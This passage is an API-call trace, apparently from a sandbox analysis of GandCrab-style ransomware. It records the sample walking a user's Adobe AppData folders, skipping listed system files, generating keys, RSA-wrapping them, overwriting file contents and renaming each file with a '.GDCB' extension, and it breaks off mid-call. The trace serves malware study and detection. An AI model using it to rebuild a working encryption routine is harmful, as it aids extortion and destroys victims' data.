lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log" [0053.376] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.376] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log") returned 163 [0053.376] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log") returned 163 [0053.376] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log") returned 163 [0053.376] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log") returned 163 [0053.376] lstrcmpiW (lpString1="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log", lpString2="desktop.ini") returned 1 [0053.376] lstrcmpiW (lpString1="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log", lpString2="autorun.inf") returned 1 [0053.376] lstrcmpiW (lpString1="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log", lpString2="ntuser.dat") returned 1 [0053.376] lstrcmpiW (lpString1="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log", lpString2="iconcache.db") returned 1 [0053.376] lstrcmpiW (lpString1="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log", lpString2="bootsect.bak") returned 1 [0053.376] lstrcmpiW (lpString1="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log", lpString2="boot.ini") returned 1 [0053.376] lstrcmpiW (lpString1="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log", lpString2="ntuser.dat.log") returned 1 [0053.376] lstrcmpiW (lpString1="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log", lpString2="thumbs.db") returned 1 [0053.376] lstrcmpiW (lpString1="ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log", lpString2="GDCB-DECRYPT.txt") returned 1 [0053.376] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\logtransport2\\logs\\ulog_acroarm2_reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log")) returned 0x20 [0053.376] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log", dwFileAttributes=0x20) returned 1 [0053.377] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0053.377] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log" [0053.377] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log.GDCB" [0053.377] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x58fc60) returned 1 [0053.377] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.377] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.378] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.378] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285ea54 | out: pbBuffer=0x285ea54) returned 1 [0053.378] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.378] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.378] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x58ff08) returned 1 [0053.378] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.378] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.378] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.378] CryptGenRandom (in: hProv=0x58ff08, dwLen=0x20, pbBuffer=0x285ea20 | out: pbBuffer=0x285ea20) returned 1 [0053.378] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0053.378] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.379] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0053.379] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0053.379] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x58ff90) returned 1 [0053.381] CryptImportKey (in: hProv=0x58ff90, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x5894e0) returned 1 [0053.381] CryptGetKeyParam (in: hKey=0x5894e0, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0053.381] CryptEncrypt (in: hKey=0x5894e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ea6c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ea6c*=0x100) returned 1 [0053.381] GetLastError () returned 0x0 [0053.381] CryptReleaseContext (hProv=0x58ff90, dwFlags=0x0) returned 1 [0053.381] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5902c0) returned 1 [0053.383] CryptImportKey (in: hProv=0x5902c0, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x589320) returned 1 [0053.383] CryptGetKeyParam (in: hKey=0x589320, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0053.383] CryptEncrypt (in: hKey=0x589320, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ea70*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ea70*=0x100) returned 1 [0053.383] GetLastError () returned 0x0 [0053.383] CryptReleaseContext (hProv=0x5902c0, dwFlags=0x0) returned 1 [0053.383] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\logtransport2\\logs\\ulog_acroarm2_reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x500 [0053.383] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0053.383] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0053.384] ReadFile (in: hFile=0x500, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285eab0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285eab0*=0x4b5, lpOverlapped=0x0) returned 1 [0053.393] VirtualAlloc (lpAddress=0x0, dwSize=0x4c0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0053.393] VirtualAlloc (lpAddress=0x0, dwSize=0x4c0, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0053.393] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.393] SetFilePointer (in: hFile=0x500, lDistanceToMove=-1205, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0053.393] WriteFile (in: hFile=0x500, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x285eaa8, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285eaa8*=0x4c0, lpOverlapped=0x0) returned 1 [0053.394] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.394] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.397] WriteFile (in: hFile=0x500, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285eaa8, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285eaa8*=0x100, lpOverlapped=0x0) returned 1 [0053.397] WriteFile (in: hFile=0x500, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285eaa8, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285eaa8*=0x100, lpOverlapped=0x0) returned 1 [0053.397] WriteFile (in: hFile=0x500, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285eaa8, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285eaa8*=0x10, lpOverlapped=0x0) returned 1 [0053.397] CloseHandle (hObject=0x500) returned 1 [0053.397] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.397] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.398] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.398] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\logtransport2\\logs\\ulog_acroarm2_reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\ulog_AcroARM2_Reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\logtransport2\\logs\\ulog_acroarm2_reader_c8be971a-de95-4557-abcb-db98e0788e08_56653bcd-022e-4023-b1f6-9926fada0024_0.log.gdcb")) returned 1 [0053.398] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.399] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.399] FindNextFileW (in: hFindFile=0x5890e0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0053.399] FindClose (in: hFindFile=0x5890e0 | out: hFindFile=0x5890e0) returned 1 [0053.399] FindNextFileW (in: hFindFile=0x589220, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.399] lstrcmpW (lpString1="LogTransport2.cfg", lpString2=".") returned 1 [0053.399] lstrcmpW (lpString1="LogTransport2.cfg", lpString2="..") returned 1 [0053.399] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\", lpString2="LogTransport2.cfg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg" [0053.399] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.399] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg") returned 75 [0053.399] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg") returned 75 [0053.399] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg") returned 75 [0053.399] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg") returned 75 [0053.399] lstrcmpiW (lpString1="LogTransport2.cfg", lpString2="desktop.ini") returned 1 [0053.399] lstrcmpiW (lpString1="LogTransport2.cfg", lpString2="autorun.inf") returned 1 [0053.399] lstrcmpiW (lpString1="LogTransport2.cfg", lpString2="ntuser.dat") returned -1 [0053.399] lstrcmpiW (lpString1="LogTransport2.cfg", lpString2="iconcache.db") returned 1 [0053.399] lstrcmpiW (lpString1="LogTransport2.cfg", lpString2="bootsect.bak") returned 1 [0053.399] lstrcmpiW (lpString1="LogTransport2.cfg", lpString2="boot.ini") returned 1 [0053.399] lstrcmpiW (lpString1="LogTransport2.cfg", lpString2="ntuser.dat.log") returned -1 [0053.399] lstrcmpiW (lpString1="LogTransport2.cfg", lpString2="thumbs.db") returned -1 [0053.399] lstrcmpiW (lpString1="LogTransport2.cfg", lpString2="GDCB-DECRYPT.txt") returned 1 [0053.399] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\logtransport2\\logtransport2.cfg")) returned 0x20 [0053.401] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg", dwFileAttributes=0x20) returned 1 [0053.402] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0053.402] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg" [0053.402] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg.GDCB" [0053.402] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x58fc60) returned 1 [0053.402] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.403] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.403] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.403] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285ecdc | out: pbBuffer=0x285ecdc) returned 1 [0053.403] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.403] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.403] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x58fc60) returned 1 [0053.403] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.403] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.404] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.404] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285eca8 | out: pbBuffer=0x285eca8) returned 1 [0053.404] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.404] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.404] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0053.404] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0053.404] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x58fc60) returned 1 [0053.406] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x589520) returned 1 [0053.406] CryptGetKeyParam (in: hKey=0x589520, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0053.406] CryptEncrypt (in: hKey=0x589520, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ecf4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ecf4*=0x100) returned 1 [0053.406] GetLastError () returned 0x0 [0053.406] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.406] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x5902c0) returned 1 [0053.408] CryptImportKey (in: hProv=0x5902c0, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x5893e0) returned 1 [0053.408] CryptGetKeyParam (in: hKey=0x5893e0, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0053.408] CryptEncrypt (in: hKey=0x5893e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ecf8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ecf8*=0x100) returned 1 [0053.409] GetLastError () returned 0x0 [0053.409] CryptReleaseContext (hProv=0x5902c0, dwFlags=0x0) returned 1 [0053.409] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\logtransport2\\logtransport2.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0053.409] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0053.409] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0053.409] ReadFile (in: hFile=0x4fc, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ed38, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285ed38*=0xd8, lpOverlapped=0x0) returned 1 [0053.415] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0053.415] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0053.415] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.415] SetFilePointer (in: hFile=0x4fc, lDistanceToMove=-216, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0053.417] WriteFile (in: hFile=0x4fc, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285ed30*=0xe0, lpOverlapped=0x0) returned 1 [0053.417] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.417] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.420] WriteFile (in: hFile=0x4fc, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285ed30*=0x100, lpOverlapped=0x0) returned 1 [0053.420] WriteFile (in: hFile=0x4fc, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285ed30*=0x100, lpOverlapped=0x0) returned 1 [0053.420] WriteFile (in: hFile=0x4fc, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285ed30*=0x10, lpOverlapped=0x0) returned 1 [0053.420] CloseHandle (hObject=0x4fc) returned 1 [0053.421] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.421] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.421] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.421] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\logtransport2\\logtransport2.cfg"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\logtransport2\\logtransport2.cfg.gdcb")) returned 1 [0053.422] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.422] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.422] FindNextFileW (in: hFindFile=0x589220, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0053.422] FindClose (in: hFindFile=0x589220 | out: hFindFile=0x589220) returned 1 [0053.422] FindNextFileW (in: hFindFile=0x589020, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0053.422] lstrcmpW (lpString1="Sonar", lpString2=".") returned 1 [0053.422] lstrcmpW (lpString1="Sonar", lpString2="..") returned 1 [0053.422] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="Sonar" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar" [0053.422] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\" [0053.422] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.422] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.422] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.422] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.422] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.422] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.423] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\") returned 50 [0053.423] lstrcatW (in: 